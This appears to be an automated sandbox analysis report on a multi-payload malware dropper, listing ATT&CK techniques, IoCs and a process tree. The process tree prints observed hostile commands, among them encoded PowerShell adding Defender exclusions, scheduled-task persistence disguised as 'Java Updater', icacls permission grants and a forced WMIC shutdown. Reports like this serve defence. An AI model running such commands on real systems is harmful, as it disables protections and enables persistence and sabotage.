marsstealer | bfe1158258e04a58d37eab94edfe9cdf88438a0f7244747d73f81fd7c5798c4b

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	petya.exe

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral3/memory/5272-476-0x0000000002FE0000-0x0000000003FE0000-memory.dmp	modiloader_stage2

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	petya.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	petya.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 15 IoCs

pid	Process
4444	spectrum.exe
4996	hostingBypass.exe
1032	MEMZ.exe
3276	build22.exe
2396	petya.exe
5772	pc raper.exe
3176	Cry.exe
4280	Java Updater.exe
6096	wannacry.exe
4684	sample_stub.exe
4760	HorionInjector.exe
388	Nemezida.exe
6132	taskdl.exe
5384	Optimiser.exe
5272	CHROME.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4144164418-4152157973-2926181071-1000\Software\Wine	petya.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2812	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	petya.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2396	petya.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5636	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	petya.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pc raper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CHROME.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Optimiser.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sample_stub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MEMZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cry.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4880	schtasks.exe
3496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5360	powershell.exe
5360	powershell.exe
5172	powershell.exe
2396	petya.exe
2396	petya.exe
5172	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	5360	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeDebugPrivilege	4444	spectrum.exe
Token: SeDebugPrivilege	3276	build22.exe
Token: SeDebugPrivilege	4280	Java Updater.exe
Token: SeDebugPrivilege	4760	HorionInjector.exe
Token: SeDebugPrivilege	388	Nemezida.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemProfilePrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeProfSingleProcessPrivilege	1716	WMIC.exe
Token: SeIncBasePriorityPrivilege	1716	WMIC.exe
Token: SeCreatePagefilePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeDebugPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeRemoteShutdownPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: 33	1716	WMIC.exe
Token: 34	1716	WMIC.exe
Token: 35	1716	WMIC.exe
Token: 36	1716	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 5360	4772	scary.exe	78
PID 4772 wrote to memory of 5360	4772	scary.exe	78
PID 4772 wrote to memory of 5360	4772	scary.exe	78
PID 4772 wrote to memory of 5172	4772	scary.exe	80
PID 4772 wrote to memory of 5172	4772	scary.exe	80
PID 4772 wrote to memory of 5172	4772	scary.exe	80
PID 4772 wrote to memory of 4444	4772	scary.exe	82
PID 4772 wrote to memory of 4444	4772	scary.exe	82
PID 4772 wrote to memory of 4996	4772	scary.exe	83
PID 4772 wrote to memory of 4996	4772	scary.exe	83
PID 4772 wrote to memory of 1032	4772	scary.exe	84
PID 4772 wrote to memory of 1032	4772	scary.exe	84
PID 4772 wrote to memory of 1032	4772	scary.exe	84
PID 4772 wrote to memory of 3276	4772	scary.exe	85
PID 4772 wrote to memory of 3276	4772	scary.exe	85
PID 4772 wrote to memory of 2396	4772	scary.exe	86
PID 4772 wrote to memory of 2396	4772	scary.exe	86
PID 4772 wrote to memory of 2396	4772	scary.exe	86
PID 4444 wrote to memory of 4880	4444	spectrum.exe	87
PID 4444 wrote to memory of 4880	4444	spectrum.exe	87
PID 4772 wrote to memory of 5772	4772	scary.exe	89
PID 4772 wrote to memory of 5772	4772	scary.exe	89
PID 4772 wrote to memory of 5772	4772	scary.exe	89
PID 4772 wrote to memory of 3176	4772	scary.exe	91
PID 4772 wrote to memory of 3176	4772	scary.exe	91
PID 4772 wrote to memory of 3176	4772	scary.exe	91
PID 4444 wrote to memory of 4280	4444	spectrum.exe	92
PID 4444 wrote to memory of 4280	4444	spectrum.exe	92
PID 4772 wrote to memory of 6096	4772	scary.exe	93
PID 4772 wrote to memory of 6096	4772	scary.exe	93
PID 4772 wrote to memory of 6096	4772	scary.exe	93
PID 6096 wrote to memory of 5996	6096	wannacry.exe	94
PID 6096 wrote to memory of 5996	6096	wannacry.exe	94
PID 6096 wrote to memory of 5996	6096	wannacry.exe	94
PID 6096 wrote to memory of 2812	6096	wannacry.exe	95
PID 6096 wrote to memory of 2812	6096	wannacry.exe	95
PID 6096 wrote to memory of 2812	6096	wannacry.exe	95
PID 4772 wrote to memory of 2920	4772	scary.exe	98
PID 4772 wrote to memory of 2920	4772	scary.exe	98
PID 4772 wrote to memory of 2920	4772	scary.exe	98
PID 4772 wrote to memory of 4684	4772	scary.exe	100
PID 4772 wrote to memory of 4684	4772	scary.exe	100
PID 4772 wrote to memory of 4684	4772	scary.exe	100
PID 4772 wrote to memory of 4760	4772	scary.exe	101
PID 4772 wrote to memory of 4760	4772	scary.exe	101
PID 4772 wrote to memory of 388	4772	scary.exe	102
PID 4772 wrote to memory of 388	4772	scary.exe	102
PID 6096 wrote to memory of 6132	6096	wannacry.exe	103
PID 6096 wrote to memory of 6132	6096	wannacry.exe	103
PID 6096 wrote to memory of 6132	6096	wannacry.exe	103
PID 6096 wrote to memory of 3304	6096	wannacry.exe	105
PID 6096 wrote to memory of 3304	6096	wannacry.exe	105
PID 6096 wrote to memory of 3304	6096	wannacry.exe	105
PID 4280 wrote to memory of 3496	4280	Java Updater.exe	106
PID 4280 wrote to memory of 3496	4280	Java Updater.exe	106
PID 4772 wrote to memory of 5384	4772	scary.exe	104
PID 4772 wrote to memory of 5384	4772	scary.exe	104
PID 4772 wrote to memory of 5384	4772	scary.exe	104
PID 2920 wrote to memory of 1716	2920	cmd.exe	107
PID 2920 wrote to memory of 1716	2920	cmd.exe	107
PID 2920 wrote to memory of 1716	2920	cmd.exe	107
PID 4772 wrote to memory of 5272	4772	scary.exe	111
PID 4772 wrote to memory of 5272	4772	scary.exe	111
PID 4772 wrote to memory of 5272	4772	scary.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5996	attrib.exe
4348	attrib.exe

C:\Users\Admin\AppData\Local\Temp\scary.exe
"C:\Users\Admin\AppData\Local\Temp\scary.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAYgBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAegBsACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQQByAGUAIAB5AG8AdQAgAGEAbgAgAGkAZABpAG8AdAA/ACcALAAnACcALAAnAE8ASwAnACwAJwBRAHUAZQBzAHQAaQBvAG4AJwApADwAIwBlAHEAagAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAZgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAaABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAegBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAdwByACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5172
- C:\Users\Admin\AppData\Roaming\spectrum.exe
  "C:\Users\Admin\AppData\Roaming\spectrum.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\spectrum.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4880
- - C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3496
- C:\Users\Admin\AppData\Roaming\hostingBypass.exe
  "C:\Users\Admin\AppData\Roaming\hostingBypass.exe"
  2⤵
  - Executes dropped EXE
  PID:4996
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4960
- C:\Users\Admin\AppData\Roaming\MEMZ.exe
  "C:\Users\Admin\AppData\Roaming\MEMZ.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1032
- C:\Users\Admin\AppData\Roaming\build22.exe
  "C:\Users\Admin\AppData\Roaming\build22.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3276
- C:\Users\Admin\AppData\Roaming\petya.exe
  "C:\Users\Admin\AppData\Roaming\petya.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2396
- C:\Users\Admin\AppData\Roaming\pc raper.exe
  "C:\Users\Admin\AppData\Roaming\pc raper.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5772
- C:\Users\Admin\AppData\Roaming\Cry.exe
  "C:\Users\Admin\AppData\Roaming\Cry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3176
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    PID:2072
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    PID:3328
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    PID:6056
- C:\Users\Admin\AppData\Roaming\wannacry.exe
  "C:\Users\Admin\AppData\Roaming\wannacry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - Views/modifies file attributes
    PID:5996
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2812
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 248391744403326.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3304
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - Views/modifies file attributes
    PID:4348
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\V1.5 App view (1) (1).bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic computersystem where name="EBOVWUDZ" call shutdown /f /t 0
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\SysWOW64\sc.exe
    sc stop venice-ai
    3⤵
    - Launches sc.exe
    PID:5636
- C:\Users\Admin\AppData\Roaming\sample_stub.exe
  "C:\Users\Admin\AppData\Roaming\sample_stub.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4684
- C:\Users\Admin\AppData\Roaming\HorionInjector.exe
  "C:\Users\Admin\AppData\Roaming\HorionInjector.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- C:\Users\Admin\AppData\Roaming\Nemezida.exe
  "C:\Users\Admin\AppData\Roaming\Nemezida.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:388
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3100
- C:\Users\Admin\AppData\Roaming\Optimiser.exe
  "C:\Users\Admin\AppData\Roaming\Optimiser.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5384
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAdgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAZwB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAagBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAcABlACMAPgA="
    3⤵
    PID:416
- C:\Users\Admin\AppData\Roaming\CHROME.exe
  "C:\Users\Admin\AppData\Roaming\CHROME.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion